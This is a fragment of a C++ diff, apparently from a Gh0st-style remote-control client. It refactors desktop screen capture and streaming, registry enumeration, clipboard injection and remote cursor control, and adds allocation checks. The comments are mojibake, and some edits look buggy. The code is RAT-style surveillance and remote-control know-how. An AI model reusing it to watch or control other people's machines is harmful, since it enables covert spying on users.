}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ class IOCPClient;
|
|||||||
class CManager
|
class CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
bool m_bIsDead; // bye-bye
|
BOOL m_bIsDead; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
CManager(IOCPClient* ClientObject);
|
CManager(IOCPClient* ClientObject);
|
||||||
virtual ~CManager();
|
virtual ~CManager();
|
||||||
|
|
||||||
|
|||||||
@@ -86,9 +86,11 @@ char* RegisterOperation::FindPath()
|
|||||||
if(KeyCount>0&&KeySize>1){
|
if(KeyCount>0&&KeySize>1){
|
||||||
int Size=sizeof(REGMSG)+1;
|
int Size=sizeof(REGMSG)+1;
|
||||||
|
|
||||||
//buf=new char[KeyCnt*KeySize+size+1];
|
|
||||||
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
||||||
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
||||||
|
if (szBuffer == NULL) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
ZeroMemory(szBuffer,DataSize);
|
ZeroMemory(szBuffer,DataSize);
|
||||||
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
|
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
|
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
@@ -149,13 +151,20 @@ char* RegisterOperation::FindKey()
|
|||||||
DWORD size=sizeof(REGMSG)+
|
DWORD size=sizeof(REGMSG)+
|
||||||
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
|
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
|
||||||
szBuffer = (char*)LocalAlloc(LPTR, size);
|
szBuffer = (char*)LocalAlloc(LPTR, size);
|
||||||
|
if (szBuffer==NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
ZeroMemory(szBuffer,size);
|
ZeroMemory(szBuffer,size);
|
||||||
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
|
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
|
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
|
||||||
szValueName=(char *)malloc(NameSize);
|
szValueName=(char *)malloc(NameSize);
|
||||||
szValueDate=(LPBYTE)malloc(DataSize);
|
szValueDate=(LPBYTE)malloc(DataSize);
|
||||||
|
if (szValueName==NULL||szValueDate == NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
char *szTemp=szBuffer+msgsize+1;
|
char *szTemp=szBuffer+msgsize+1;
|
||||||
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
|
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -26,7 +26,9 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
|
|||||||
m_bIsWorking = TRUE;
|
m_bIsWorking = TRUE;
|
||||||
m_bIsBlockInput = FALSE;
|
m_bIsBlockInput = FALSE;
|
||||||
|
|
||||||
m_ScreenSpyObject = new CScreenSpy(16);
|
m_ScreenSpyObject = new CScreenSpy(32);
|
||||||
|
|
||||||
|
szBuffer = new char[4 * m_ScreenSpyObject->GetWidth() * m_ScreenSpyObject->GetHeight() + 1];
|
||||||
|
|
||||||
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||||||
}
|
}
|
||||||
@@ -43,8 +45,19 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
|
|
||||||
clock_t last = clock();
|
clock_t last = clock();
|
||||||
This->SendFirstScreen();
|
This->SendFirstScreen();
|
||||||
const int fps = 12;// ֡<><D6A1>
|
#if USING_ZLIB
|
||||||
|
const int fps = 8;// ֡<><D6A1>
|
||||||
|
#elif USING_LZ4
|
||||||
|
const int fps = 8;// ֡<><D6A1>
|
||||||
|
#else
|
||||||
|
const int fps = 8;// ֡<><D6A1>
|
||||||
|
#endif
|
||||||
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||||||
|
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||||||
|
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
|
||||||
|
int s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
|
||||||
|
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||||
|
const double alpha = 1.2; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
timeBeginPeriod(1);
|
timeBeginPeriod(1);
|
||||||
while (This->m_bIsWorking)
|
while (This->m_bIsWorking)
|
||||||
{
|
{
|
||||||
@@ -52,14 +65,30 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
|
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||||
if (szBuffer)
|
if (szBuffer)
|
||||||
{
|
{
|
||||||
int span = sleep-(clock() - last);
|
int span = s0-(clock() - last);
|
||||||
Sleep(span > 0 ? span : 1);
|
Sleep(span > 0 ? span : 1);
|
||||||
if (span < 0)
|
if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
|
||||||
printf("SendScreen Span = %d ms\n", span);
|
{
|
||||||
|
c2 = 0;
|
||||||
|
if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
|
||||||
|
c1 = 0;
|
||||||
|
#ifdef _DEBUG
|
||||||
|
printf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
|
||||||
|
c1 = 0;
|
||||||
|
if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
|
||||||
|
c2 = 0;
|
||||||
|
#ifdef _DEBUG
|
||||||
|
printf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
}
|
||||||
last = clock();
|
last = clock();
|
||||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||||
delete[] szBuffer;
|
|
||||||
szBuffer = NULL;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
timeEndPeriod(1);
|
timeEndPeriod(1);
|
||||||
@@ -71,10 +100,11 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
VOID CScreenManager::SendBitMapInfo()
|
VOID CScreenManager::SendBitMapInfo()
|
||||||
{
|
{
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D>ṹ<EFBFBD>Ĵ<EFBFBD>С
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D>ṹ<EFBFBD>Ĵ<EFBFBD>С
|
||||||
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize();
|
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||||||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return;
|
||||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||||
@@ -94,8 +124,13 @@ CScreenManager::~CScreenManager()
|
|||||||
CloseHandle(m_hWorkThread);
|
CloseHandle(m_hWorkThread);
|
||||||
}
|
}
|
||||||
|
|
||||||
delete[] m_ScreenSpyObject;
|
delete m_ScreenSpyObject;
|
||||||
m_ScreenSpyObject = NULL;
|
m_ScreenSpyObject = NULL;
|
||||||
|
if(szBuffer)
|
||||||
|
{
|
||||||
|
delete [] szBuffer;
|
||||||
|
szBuffer = NULL;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
@@ -146,6 +181,8 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
|||||||
if (hGlobal != NULL) {
|
if (hGlobal != NULL) {
|
||||||
|
|
||||||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||||||
|
if (szClipboardVirtualAddress == NULL)
|
||||||
|
return;
|
||||||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||||
GlobalUnlock(hGlobal);
|
GlobalUnlock(hGlobal);
|
||||||
SetClipboardData(CF_TEXT, hGlobal);
|
SetClipboardData(CF_TEXT, hGlobal);
|
||||||
@@ -189,16 +226,12 @@ VOID CScreenManager::SendFirstScreen()
|
|||||||
}
|
}
|
||||||
|
|
||||||
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
|
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
|
||||||
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
|
|
||||||
|
|
||||||
szBuffer[0] = TOKEN_FIRSTSCREEN;
|
szBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||||
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
|
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
|
||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
|
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
|
||||||
|
szBuffer[ulFirstSendLength-1] = 0;
|
||||||
delete [] szBuffer;
|
|
||||||
|
|
||||||
szBuffer = NULL;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||||
@@ -212,10 +245,9 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
|||||||
|
|
||||||
ulNextSendLength += 1;
|
ulNextSendLength += 1;
|
||||||
|
|
||||||
char* szBuffer = new char[ulNextSendLength];
|
|
||||||
|
|
||||||
szBuffer[0] = TOKEN_NEXTSCREEN;
|
szBuffer[0] = TOKEN_NEXTSCREEN;
|
||||||
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
||||||
|
szBuffer[ulNextSendLength] = 0;
|
||||||
|
|
||||||
return szBuffer;
|
return szBuffer;
|
||||||
}
|
}
|
||||||
@@ -253,10 +285,10 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
|||||||
POINT Point;
|
POINT Point;
|
||||||
Point.x = LOWORD(Msg->lParam);
|
Point.x = LOWORD(Msg->lParam);
|
||||||
Point.y = HIWORD(Msg->lParam);
|
Point.y = HIWORD(Msg->lParam);
|
||||||
if(m_ScreenSpyObject->m_bZoomed)
|
if(m_ScreenSpyObject->IsZoomed())
|
||||||
{
|
{
|
||||||
Point.x *= m_ScreenSpyObject->m_wZoom;
|
Point.x *= m_ScreenSpyObject->GetWZoom();
|
||||||
Point.y *= m_ScreenSpyObject->m_hZoom;
|
Point.y *= m_ScreenSpyObject->GetHZoom();
|
||||||
}
|
}
|
||||||
SetCursorPos(Point.x, Point.y);
|
SetCursorPos(Point.x, Point.y);
|
||||||
SetCapture(WindowFromPoint(Point));
|
SetCapture(WindowFromPoint(Point));
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ class IOCPClient;
|
|||||||
class CScreenManager : public CManager
|
class CScreenManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
|
char* szBuffer;
|
||||||
CScreenManager(IOCPClient* ClientObject, int n);
|
CScreenManager(IOCPClient* ClientObject, int n);
|
||||||
virtual ~CScreenManager();
|
virtual ~CScreenManager();
|
||||||
HANDLE m_hWorkThread;
|
HANDLE m_hWorkThread;
|
||||||
|
|||||||
@@ -14,22 +14,8 @@
|
|||||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
||||||
{
|
{
|
||||||
m_bAlgorithm = ALGORITHM_DIFF;
|
m_bAlgorithm = ALGORITHM_DIFF;
|
||||||
m_dwBitBltRop = SRCCOPY;
|
m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
|
||||||
m_BitmapInfor_Full = NULL;
|
|
||||||
switch (ulbiBitCount)
|
|
||||||
{
|
|
||||||
case 16:
|
|
||||||
case 32:
|
|
||||||
m_ulbiBitCount = ulbiBitCount;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
m_ulbiBitCount = 16;
|
|
||||||
}
|
|
||||||
|
|
||||||
m_hDeskTopWnd = GetDesktopWindow();
|
|
||||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
|
||||||
|
|
||||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
|
||||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
||||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||||
DEVMODE devmode;
|
DEVMODE devmode;
|
||||||
@@ -44,29 +30,50 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
|||||||
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
||||||
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||||
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
|
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
|
||||||
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
|
|
||||||
|
m_BitmapInfor_Full = new BITMAPINFO();
|
||||||
|
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||||
|
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||||
|
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);
|
||||||
|
BitmapInforHeader->biWidth = m_ulFullWidth; //1080
|
||||||
|
BitmapInforHeader->biHeight = m_ulFullHeight; //1920
|
||||||
|
BitmapInforHeader->biPlanes = 1;
|
||||||
|
BitmapInforHeader->biBitCount = ulbiBitCount; //ͨ<><CDA8>Ϊ32
|
||||||
|
BitmapInforHeader->biCompression = BI_RGB;
|
||||||
|
BitmapInforHeader->biSizeImage =
|
||||||
|
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
|
||||||
|
|
||||||
|
m_hDeskTopWnd = GetDesktopWindow();
|
||||||
|
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||||
|
|
||||||
m_BitmapData_Full = NULL;
|
m_BitmapData_Full = NULL;
|
||||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||||
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||||
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||||
|
|
||||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
m_DiffBitmapData_Full = NULL;
|
||||||
|
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
||||||
|
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||||
|
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||||
|
|
||||||
m_RectBufferOffset = 0;
|
m_RectBufferOffset = 0;
|
||||||
|
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
||||||
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
|
||||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
|
||||||
DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
|
||||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
CScreenSpy::~CScreenSpy()
|
CScreenSpy::~CScreenSpy()
|
||||||
{
|
{
|
||||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC
|
if (m_BitmapInfor_Full != NULL)
|
||||||
|
{
|
||||||
|
delete m_BitmapInfor_Full;
|
||||||
|
m_BitmapInfor_Full = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||||||
|
|
||||||
if (m_hFullMemDC!=NULL)
|
if (m_hFullMemDC!=NULL)
|
||||||
{
|
{
|
||||||
DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
DeleteDC(m_hFullMemDC);
|
||||||
|
|
||||||
::DeleteObject(m_BitmapHandle);
|
::DeleteObject(m_BitmapHandle);
|
||||||
if (m_BitmapData_Full!=NULL)
|
if (m_BitmapData_Full!=NULL)
|
||||||
@@ -79,7 +86,7 @@ CScreenSpy::~CScreenSpy()
|
|||||||
|
|
||||||
if (m_hDiffMemDC!=NULL)
|
if (m_hDiffMemDC!=NULL)
|
||||||
{
|
{
|
||||||
DeleteDC(m_hDiffMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
DeleteDC(m_hDiffMemDC);
|
||||||
|
|
||||||
::DeleteObject(m_DiffBitmapHandle);
|
::DeleteObject(m_DiffBitmapHandle);
|
||||||
if (m_DiffBitmapData_Full!=NULL)
|
if (m_DiffBitmapData_Full!=NULL)
|
||||||
@@ -88,12 +95,6 @@ CScreenSpy::~CScreenSpy()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (m_BitmapInfor_Full!=NULL)
|
|
||||||
{
|
|
||||||
delete[] m_BitmapInfor_Full;
|
|
||||||
m_BitmapInfor_Full = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_RectBuffer)
|
if (m_RectBuffer)
|
||||||
{
|
{
|
||||||
delete[] m_RectBuffer;
|
delete[] m_RectBuffer;
|
||||||
@@ -103,38 +104,10 @@ CScreenSpy::~CScreenSpy()
|
|||||||
m_RectBufferOffset = 0;
|
m_RectBufferOffset = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
|
|
||||||
ULONG ulFullWidth, ULONG ulFullHeight)
|
|
||||||
{
|
|
||||||
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
|
||||||
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
|
|
||||||
BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
|
|
||||||
|
|
||||||
BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
|
|
||||||
|
|
||||||
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
|
|
||||||
BitmapInforHeader->biWidth = ulFullWidth; //1080
|
|
||||||
BitmapInforHeader->biHeight = ulFullHeight; //1920
|
|
||||||
BitmapInforHeader->biPlanes = 1;
|
|
||||||
BitmapInforHeader->biBitCount = ulbiBitCount; //32
|
|
||||||
BitmapInforHeader->biCompression = BI_RGB;
|
|
||||||
BitmapInforHeader->biXPelsPerMeter = 0;
|
|
||||||
BitmapInforHeader->biYPelsPerMeter = 0;
|
|
||||||
BitmapInforHeader->biClrUsed = 0;
|
|
||||||
BitmapInforHeader->biClrImportant = 0;
|
|
||||||
BitmapInforHeader->biSizeImage =
|
|
||||||
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
|
|
||||||
|
|
||||||
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
|
||||||
|
|
||||||
return BitmapInfor;
|
|
||||||
}
|
|
||||||
|
|
||||||
LPVOID CScreenSpy::GetFirstScreenData()
|
LPVOID CScreenSpy::GetFirstScreenData()
|
||||||
{
|
{
|
||||||
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
||||||
::BitBlt(m_hFullMemDC, 0, 0,
|
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
|
||||||
m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
|
|
||||||
|
|
||||||
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
|
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
|
||||||
}
|
}
|
||||||
@@ -156,19 +129,18 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
|
|||||||
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
||||||
|
|
||||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex();
|
static CCursorInfo m_CursorInfor;
|
||||||
|
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
|
||||||
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨
|
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨
|
||||||
if (m_bAlgorithm == ALGORITHM_DIFF)
|
if (m_bAlgorithm == ALGORITHM_DIFF)
|
||||||
{
|
{
|
||||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth,
|
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||||
m_BitmapInfor_Full->bmiHeader.biHeight);
|
|
||||||
|
|
||||||
